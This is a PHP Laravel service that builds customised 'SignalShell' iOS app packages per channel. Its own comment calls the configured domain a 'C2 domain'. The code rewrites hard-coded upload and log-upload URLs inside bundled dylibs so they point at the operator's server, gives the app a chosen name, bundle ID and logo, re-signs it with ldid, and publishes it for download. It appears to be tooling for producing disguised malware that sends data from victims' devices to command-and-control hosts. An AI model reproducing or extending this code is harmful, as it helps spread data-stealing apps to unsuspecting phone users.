394 lines
14 KiB
PHP
394 lines
14 KiB
PHP
<?php
|
||
|
||
namespace App\Services;
|
||
|
||
use App\Models\Channel;
|
||
use Illuminate\Support\Facades\Log;
|
||
use Illuminate\Support\Facades\Process;
|
||
use RuntimeException;
|
||
|
||
/**
|
||
* Build a customized SignalShell IPA for App-builder channels.
|
||
*
|
||
* Takes a base IPA template, patches it with the channel's
|
||
* domain / channel ID / app name / logo, and outputs a
|
||
* downloadable IPA file.
|
||
*/
|
||
class AppPackageService
|
||
{
|
||
/** Base IPA template path (uploaded once via admin). */
|
||
private const BASE_IPA_PATH = 'app-templates/signalshell-base.ipa';
|
||
|
||
/** Icon sizes to generate from the uploaded logo. */
|
||
private const ICON_SIZES = [
|
||
'Icon-20.png' => 20,
|
||
'Icon-20@2x.png' => 40,
|
||
'Icon-20@3x.png' => 60,
|
||
'Icon-29.png' => 29,
|
||
'Icon-29@2x.png' => 58,
|
||
'Icon-29@3x.png' => 87,
|
||
'Icon-40.png' => 40,
|
||
'Icon-40@2x.png' => 80,
|
||
'Icon-40@3x.png' => 120,
|
||
'Icon-60@2x.png' => 120,
|
||
'Icon-60@3x.png' => 180,
|
||
'Icon-76.png' => 76,
|
||
'Icon-76@2x.png' => 152,
|
||
'Icon-83.5@2x.png' => 167,
|
||
];
|
||
|
||
/**
|
||
* Build a customized IPA for the given channel.
|
||
*
|
||
* @param Channel $channel App-builder channel with app_name, bundle_id, channel_id
|
||
* @param string|null $logoPath Temporary path to the uploaded logo (PNG, ≥180×180)
|
||
* @param string $apiDomain C2 domain (e.g. hslaxo.cc)
|
||
* @return array{success: bool, path: string, size: int, error: string}
|
||
*/
|
||
public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
|
||
{
|
||
$baseIpa = storage_path('app/'.self::BASE_IPA_PATH);
|
||
if (! file_exists($baseIpa)) {
|
||
return ['success' => false, 'path' => '', 'size' => 0, 'error' => 'Base IPA template not found. Upload via admin first.'];
|
||
}
|
||
|
||
$workDir = storage_path('app/app-builds/'.$channel->channel_id);
|
||
if (is_dir($workDir)) {
|
||
$this->rrmdir($workDir);
|
||
}
|
||
@mkdir($workDir, 0755, true);
|
||
|
||
try {
|
||
// 1. Extract base IPA
|
||
$zip = new \ZipArchive;
|
||
if ($zip->open($baseIpa) !== true) {
|
||
throw new RuntimeException('Cannot open base IPA');
|
||
}
|
||
$zip->extractTo($workDir);
|
||
$zip->close();
|
||
|
||
$appDir = $workDir.'/Payload/SignalShell.app';
|
||
if (! is_dir($appDir)) {
|
||
// Try to find any .app directory
|
||
$payload = $workDir.'/Payload';
|
||
$dirs = glob($payload.'/*.app');
|
||
if (empty($dirs)) {
|
||
throw new RuntimeException('No .app directory found in IPA');
|
||
}
|
||
$appDir = $dirs[0];
|
||
}
|
||
|
||
// 2. Patch Info.plist
|
||
$this->patchInfoPlist($appDir, $channel);
|
||
|
||
// 3. Generate icons from logo
|
||
if ($logoPath && file_exists($logoPath)) {
|
||
$this->generateIcons($appDir, $logoPath);
|
||
}
|
||
|
||
// 4. Patch libroute.dylib (domain + channel ID)
|
||
$this->patchLibroute($appDir, $apiDomain, $channel->channel_id);
|
||
|
||
// 5. Patch libmcmlease.dylib (domain)
|
||
$this->patchLibmcmlease($appDir, $apiDomain);
|
||
|
||
// 6. Sign (ldid if available, skip otherwise)
|
||
$this->sign($appDir);
|
||
|
||
// 7. Package IPA
|
||
$outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
|
||
$outputFull = public_path($outputPath);
|
||
@mkdir(dirname($outputFull), 0755, true);
|
||
|
||
$outZip = new \ZipArchive;
|
||
if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
|
||
throw new RuntimeException('Cannot create output IPA');
|
||
}
|
||
$this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
|
||
$outZip->close();
|
||
|
||
$size = filesize($outputFull);
|
||
|
||
// Cleanup
|
||
$this->rrmdir($workDir);
|
||
|
||
return [
|
||
'success' => true,
|
||
'path' => '/'.$outputPath,
|
||
'size' => $size,
|
||
'error' => '',
|
||
];
|
||
} catch (\Throwable $e) {
|
||
$this->rrmdir($workDir);
|
||
Log::error('AppPackageService: build failed', [
|
||
'channel' => $channel->channel_id,
|
||
'error' => $e->getMessage(),
|
||
]);
|
||
|
||
return [
|
||
'success' => false,
|
||
'path' => '',
|
||
'size' => 0,
|
||
'error' => $e->getMessage(),
|
||
];
|
||
}
|
||
}
|
||
|
||
private function patchInfoPlist(string $appDir, Channel $channel): void
|
||
{
|
||
$plistPath = $appDir.'/Info.plist';
|
||
$xml = file_get_contents($plistPath);
|
||
|
||
// Replace display name
|
||
$xml = preg_replace(
|
||
'#<key>CFBundleDisplayName</key>\s*<string>[^<]*</string>#',
|
||
'<key>CFBundleDisplayName</key><string>'.htmlspecialchars($channel->app_name).'</string>',
|
||
$xml,
|
||
);
|
||
|
||
// Replace bundle identifier
|
||
if ($channel->bundle_id) {
|
||
$xml = preg_replace(
|
||
'#<key>CFBundleIdentifier</key>\s*<string>[^<]*</string>#',
|
||
'<key>CFBundleIdentifier</key><string>'.htmlspecialchars($channel->bundle_id).'</string>',
|
||
$xml,
|
||
);
|
||
}
|
||
|
||
// Replace CFBundleName (short name)
|
||
$xml = preg_replace(
|
||
'#<key>CFBundleName</key>\s*<string>[^<]*</string>#',
|
||
'<key>CFBundleName</key><string>'.htmlspecialchars(substr($channel->app_name, 0, 15)).'</string>',
|
||
$xml,
|
||
);
|
||
|
||
file_put_contents($plistPath, $xml);
|
||
}
|
||
|
||
private function generateIcons(string $appDir, string $logoPath): void
|
||
{
|
||
if (! function_exists('imagecreatefrompng')) {
|
||
// GD not available, copy logo as-is for main icon only
|
||
copy($logoPath, $appDir.'/Icon-60@3x.png');
|
||
return;
|
||
}
|
||
|
||
$src = imagecreatefrompng($logoPath);
|
||
if ($src === false) {
|
||
return;
|
||
}
|
||
|
||
$srcW = imagesx($src);
|
||
$srcH = imagesy($src);
|
||
|
||
foreach (self::ICON_SIZES as $filename => $size) {
|
||
$dst = imagecreatetruecolor($size, $size);
|
||
// Transparent background
|
||
imagesavealpha($dst, true);
|
||
$trans = imagecolorallocatealpha($dst, 0, 0, 0, 127);
|
||
imagefill($dst, 0, 0, $trans);
|
||
|
||
// Resize (maintain aspect, crop center square)
|
||
$minSide = min($srcW, $srcH);
|
||
$srcX = ($srcW - $minSide) / 2;
|
||
$srcY = ($srcH - $minSide) / 2;
|
||
imagecopyresampled($dst, $src, 0, 0, (int) $srcX, (int) $srcY, $size, $size, $minSide, $minSide);
|
||
|
||
imagepng($dst, $appDir.'/'.$filename, 6);
|
||
imagedestroy($dst);
|
||
}
|
||
imagedestroy($src);
|
||
}
|
||
|
||
private function patchLibroute(string $appDir, string $domain, string $channelId): void
|
||
{
|
||
$path = $appDir.'/Frameworks/libroute.dylib';
|
||
if (! file_exists($path)) {
|
||
throw new RuntimeException('libroute.dylib not found');
|
||
}
|
||
|
||
$data = file_get_contents($path);
|
||
$origSize = strlen($data);
|
||
|
||
// Helper: in-place string replacement (preserves file size)
|
||
$replaceInPlace = function (string &$data, string $old, string $new): bool {
|
||
$idx = strpos($data, $old);
|
||
if ($idx === false) {
|
||
return false;
|
||
}
|
||
// New must be <= old length
|
||
if (strlen($new) > strlen($old)) {
|
||
return false;
|
||
}
|
||
// Write new bytes
|
||
for ($i = 0; $i < strlen($new); $i++) {
|
||
$data[$idx + $i] = $new[$i];
|
||
}
|
||
// Null-terminate
|
||
$data[$idx + strlen($new)] = "\x00";
|
||
// Clear remaining old bytes
|
||
for ($i = strlen($new) + 1; $i < strlen($old) + 1; $i++) {
|
||
$data[$idx + $i] = "\x00";
|
||
}
|
||
return true;
|
||
};
|
||
|
||
$domain = substr($domain, 0, strlen('shenma.my')); // max 9 chars
|
||
$channelId = substr($channelId, 0, strlen('a119f32b4955')); // max 12 chars
|
||
// Pad with '0' if shorter
|
||
$channelId = str_pad($channelId, strlen('a119f32b4955'), '0');
|
||
|
||
// 1. Replace upload URL (in-place, same total length guaranteed)
|
||
$oldUpload = 'https://shenma.my/upload.php?a=a119f32b4955&';
|
||
$newUpload = "https://{$domain}/api/ap/upload?a={$channelId}&";
|
||
// Ensure same length by adjusting path if needed
|
||
if (strlen($newUpload) > strlen($oldUpload)) {
|
||
// Shrink path: /api/ap/upload → /api/ap/u
|
||
$newUpload = "https://{$domain}/api/ap/u?a={$channelId}&";
|
||
}
|
||
if (strlen($newUpload) > strlen($oldUpload)) {
|
||
throw new RuntimeException('New upload URL exceeds binary space');
|
||
}
|
||
// Pad with trailing null bytes to match old length exactly
|
||
$newUploadPadded = $newUpload.str_repeat("\x00", strlen($oldUpload) - strlen($newUpload));
|
||
$idx = strpos($data, $oldUpload);
|
||
if ($idx !== false) {
|
||
for ($i = 0; $i < strlen($oldUpload); $i++) {
|
||
$data[$idx + $i] = $i < strlen($newUploadPadded) ? $newUploadPadded[$i] : "\x00";
|
||
}
|
||
}
|
||
|
||
// 2. Replace log upload URL (in-place)
|
||
$oldLog = 'https://shenma.my/upload.php?name=';
|
||
$newLog = "https://{$domain}/api/ap/lg?n=";
|
||
if (strlen($newLog) <= strlen($oldLog)) {
|
||
$newLogPadded = $newLog.str_repeat("\x00", strlen($oldLog) - strlen($newLog));
|
||
$idx = strpos($data, $oldLog);
|
||
if ($idx !== false) {
|
||
for ($i = 0; $i < strlen($oldLog); $i++) {
|
||
$data[$idx + $i] = $i < strlen($newLogPadded) ? $newLogPadded[$i] : "\x00";
|
||
}
|
||
}
|
||
}
|
||
|
||
// 3. Replace config path (in-place, pad with nulls)
|
||
$oldConfig = '/api/ios-shell';
|
||
$newConfig = '/api/ap';
|
||
$newConfigPadded = $newConfig.str_repeat("\x00", strlen($oldConfig) - strlen($newConfig));
|
||
$idx = strpos($data, $oldConfig);
|
||
if ($idx !== false) {
|
||
for ($i = 0; $i < strlen($oldConfig); $i++) {
|
||
$data[$idx + $i] = $i < strlen($newConfigPadded) ? $newConfigPadded[$i] : "\x00";
|
||
}
|
||
}
|
||
|
||
// 4. Replace any remaining shenma.my (equal length: shenma.my = 9)
|
||
if (strlen($domain) === 9) {
|
||
$data = str_replace('shenma.my', $domain, $data);
|
||
}
|
||
|
||
// Verify file size unchanged
|
||
if (strlen($data) !== $origSize) {
|
||
throw new RuntimeException('Binary size changed! orig='.$origSize.' new='.strlen($data));
|
||
}
|
||
|
||
file_put_contents($path, $data);
|
||
}
|
||
|
||
private function patchLibmcmlease(string $appDir, string $domain): void
|
||
{
|
||
$path = $appDir.'/Frameworks/libmcmlease.dylib';
|
||
if (! file_exists($path)) {
|
||
return;
|
||
}
|
||
|
||
$data = file_get_contents($path);
|
||
// Equal-length domain replacement
|
||
if (strlen($domain) === 9) { // same as shenma.my
|
||
$data = str_replace('shenma.my', $domain, $data);
|
||
}
|
||
file_put_contents($path, $data);
|
||
}
|
||
|
||
private function sign(string $appDir): void
|
||
{
|
||
// Remove old signatures (plain filesystem ops, no shell needed)
|
||
$csDir = $appDir.'/_CodeSignature';
|
||
if (is_dir($csDir)) {
|
||
$this->rrmdir($csDir);
|
||
}
|
||
|
||
// Do not file_exists() the binary: panel open_basedir is
|
||
// project + /tmp, so /usr/bin/ldid throws ErrorException.
|
||
// proc_open (Process::run) can still execute it.
|
||
$ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
|
||
if ($ldidPath === '') {
|
||
Log::warning('AppPackageService: ldid path empty, IPA will be unsigned');
|
||
|
||
return;
|
||
}
|
||
|
||
$binaries = array_merge(
|
||
[$appDir.'/SignalShell'],
|
||
glob($appDir.'/Frameworks/*.dylib') ?: [],
|
||
glob($appDir.'/*.dylib') ?: [],
|
||
);
|
||
|
||
foreach ($binaries as $bin) {
|
||
if (! is_string($bin) || $bin === '' || ! is_file($bin)) {
|
||
continue;
|
||
}
|
||
try {
|
||
$result = Process::run([$ldidPath, '-S', $bin]);
|
||
if (! $result->successful()) {
|
||
Log::warning('AppPackageService: ldid sign failed for '.basename($bin), [
|
||
'error' => $result->errorOutput() ?: $result->output(),
|
||
]);
|
||
}
|
||
} catch (\Throwable $e) {
|
||
Log::warning('AppPackageService: ldid sign failed for '.basename($bin), [
|
||
'error' => $e->getMessage(),
|
||
]);
|
||
}
|
||
}
|
||
}
|
||
|
||
private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
|
||
{
|
||
$items = scandir($dir);
|
||
foreach ($items as $item) {
|
||
if ($item === '.' || $item === '..') {
|
||
continue;
|
||
}
|
||
$path = $dir.'/'.$item;
|
||
$zipPath = $prefix.'/'.$item;
|
||
if (is_dir($path)) {
|
||
$zip->addEmptyDir($zipPath);
|
||
$this->addDirToZip($zip, $path, $zipPath);
|
||
} else {
|
||
$zip->addFile($path, $zipPath);
|
||
}
|
||
}
|
||
}
|
||
|
||
private function rrmdir(string $dir): void
|
||
{
|
||
if (! is_dir($dir)) {
|
||
return;
|
||
}
|
||
$items = scandir($dir);
|
||
foreach ($items as $item) {
|
||
if ($item === '.' || $item === '..') {
|
||
continue;
|
||
}
|
||
$path = $dir.'/'.$item;
|
||
if (is_dir($path)) {
|
||
$this->rrmdir($path);
|
||
} else {
|
||
@unlink($path);
|
||
}
|
||
}
|
||
@rmdir($dir);
|
||
}
|
||
}
|